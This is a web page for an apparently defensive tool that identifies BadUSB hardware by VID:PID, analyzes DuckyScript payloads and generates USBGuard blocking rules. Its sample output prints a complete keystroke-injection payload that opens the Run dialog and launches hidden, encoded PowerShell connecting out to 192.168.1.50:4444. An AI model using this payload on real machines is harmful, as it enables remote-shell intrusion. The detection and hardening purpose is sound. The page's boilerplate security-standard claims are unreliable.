USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer (2026)

Identify USB Vendor ID / Product ID (VID:PID) hardware descriptors, detect spoofed HID keyboard/network attack dongles (Rubber Ducky, Flipper Zero, Bash Bunny, O.MG Cable), and statically deconstruct DuckyScript keystroke injection payloads with Linux udev USBGuard rules.Documentation & FAQs ↓

USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer — Interactive Console
Runs locally in your browser • Instant output
Part A: BadUSB / Flipper Zero DuckyScript Analyzer
Runtime
3.45s (3454ms)
Typed Chars
218 chars
Threat Flags
2 Alerts
Decoded HID Keystroke Timeline
L1REMFlipper Zero / Hak5 Rubber Ducky Payload: Hidden PowerShell Stager

Comment (ignored by BadUSB compiler)

+0ms
L2ID05ac:024f Apple:Keyboard

Spoofs USB Device Descriptor VID:PID (05ac:024f Apple:Keyboard)

+0ms
L3DEFAULT_DELAY40

Sets inter-command delay to 40 ms

+0ms
L4DELAY1000

Pauses execution for 1000 ms (waits for OS dialog/window)

+1040ms
L5GUIr

Opens Windows Run dialog (Win+R) — primary initial access vector

+75ms
L6DELAY450

Pauses execution for 450 ms (waits for OS dialog/window)

+490ms
L7STRINGpowershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgAxAC4ANQAwACcALAA0ADQANAA0ACkA

Types 218 characters at ~750 WPM (1744 ms)

+1784ms
L8ENTER

HID Keycode: ENTER

+65ms
Part B: USB VID:PID Hardware Identifier Lookup & USBGuard Rule Generator
SparkFun Electronics — Pro Micro 5V/16MHz (ATmega32U4 Native USB HID — Classic DIY BadUSB / Arduino Micro)

Microcontroller with native USB HID descriptor support; rarely legitimate in enterprise workstations.

HIGH-RISK BADUSB
Generated Linux USBGuard Rules (/etc/usbguard/rules.conf)
# /etc/usbguard/rules.conf — Generated Zero-Trust USB HID Policy
# 1. Explicitly reject this BadUSB / microcontroller VID:PID
reject id 1b4f:9206

# 2. Block composite USB Mass Storage devices that also register a Boot Keyboard (03:01:01)
reject with-interface all-of { 08:*:* 03:01:01 }

# 3. Require manual authorization for any new secondary HID keyboard if one is already attached
block with-interface equals { 03:01:01 } if !allowed-matches(with-interface equals { 03:01:01 })
Ready
Embed / Cite This Tool (Markdown & HTML)
GitHub / Reddit Markdown Badge[![USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer](https://img.shields.io/badge/ZerosUniverse-Free_Tool-ff6a00)](https://www.zerosuniverse.com/tools/usb-hid-badusb-duckyscript-analyzer/)
Blog / Documentation HTML Citation<a href="https://www.zerosuniverse.com/tools/usb-hid-badusb-duckyscript-analyzer/">USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer — ZerosUniverse</a>

2026 Quick-Reference Cheat Sheet & Benchmark Table: USB VID:PID Hardware Lookup & BadUSB DuckyScript Analyzer

Quick Answer & 2026 Technical Summary (duckyscript analyzer usb vid pid lookup)Updated 2026 Standard

Unlike a standard USB flash drive (USB Class 08h Mass Storage) whose filesystem is scanned on mount, a BadUSB device enumerates as a standard USB Human Interface Device (Class 03h HID Keyboard). The operating system trusts the device as a human typing on a physical keyboard at 1,000+ words per minute. Use this interactive duckyscript analyzer usb vid pid lookup above to test badusb hid keystroke injection detector, usb vendor id product id database lookup, and usbguard udev rule generator locally in your browser with zero server uploads.

Target Keyword Spec: duckyscript analyzer usb vid pid lookup | Modules: DuckyScript 1.0 / 3.0 Static Payload Decompiler • USB VID:PID Hardware & Attack-Tool Fingerprint Lookup • Composite Device & Spoofed Descriptor Risk Scoring
Primary Focus: duckyscript analyzer usb vid pid lookup
Core Capability: badusb hid keystroke injection detector
Privacy Mode: 100% Client-Side (Zero Upload)
Technical Parameter / ModuleStandard / Keyword SpecArchitecture & Validation RuleOperational Use Case (2026)
DuckyScript 1.0 / 3.0 Static Payload Decompilerbadusb hid keystroke injection detectorParse DuckyScript payloads line by line to calculate total execution durati...Incident Response & Physical USB Drop Analysis
USB VID:PID Hardware & Attack-Tool Fingerprint Lookupusb vendor id product id database lookupCross-reference hexadecimal VID:PID pairs (e.g., 05ac:021e Apple Keyboard s...Endpoint Hardening Against BadUSB & O.MG Cables
Composite Device & Spoofed Descriptor Risk Scoringusbguard udev rule generatorDetect suspicious composite USB topologies where a flash drive (Class 08h M...Red Team Payload Timing & EDR Telemetry Calibration
Execution & Privacy Architecture100% Client-Side WebCrypto / JS Sandbox0 Bytes Sent to External ServersSafe for internal SOC & authorized lab artifacts
NIST SP 800-53 / OWASP AlignmentOWASP ASVS v4.0.3 / NIST CSF 2.0Deterministic Rule & Header VerificationMaps findings to actionable hardening controls
Cryptographic & Entropy StandardSHA-256 / AES-256-GCM / Argon2id≥ 128-bit Effective Security MarginMeets 2026 post-quantum & zero-trust baselines
Advertisement

Step-by-Step Workflow

4 Easy Steps
01Phase 1

Look Up USB VID:PID & Interface Class

Enter a 4-byte hex Vendor ID and Product ID (e.g., 05ac:021e or 16c0:0486) and select the advertised USB Interface Class to inspect hardware legitimacy.

02Phase 2

Paste a DuckyScript Payload for Static Analysis

Paste raw DuckyScript commands (DELAY, GUI r, STRING, ENTER, ALT y) or load a realistic Red Team test preset into the analyzer.

03Phase 3

Audit Keystroke Velocity & MITRE ATT&CK Flags

Review the calculated typing speed in Words Per Minute (WPM), total payload execution window, and flagged post-exploitation triggers (UAC bypass, AMSI disable, exfil).

04Phase 4

Export Defensive USBGuard & EDR Detection Rules

Copy the generated USBGuard rules.conf policy and Sysmon Event ID 1 command-line detection queries to harden target workstations.

Real-World Applications

Incident Response & Physical USB Drop Analysis

Safely inspect captured payload.dd / inject.bin scripts recovered from suspicious USB drives found during physical security assessments.

Endpoint Hardening Against BadUSB & O.MG Cables

Build strict USBGuard allowlists that block composite Mass Storage + HID devices and require explicit authorization for newly plugged USB keyboards.

Red Team Payload Timing & EDR Telemetry Calibration

Calculate exact millisecond delays and keystroke velocities to understand how EDR behavioral monitors flag superhuman (>500 WPM) HID typing bursts.

Related Editorial GuideWhat Are Non-Electronic & Physical USB Drop Attacks?
Read Tutorial →
Help Your Network

Found this tool helpful? Share it with colleagues:

100% free, private browser utility with zero server uploads. Spread the word!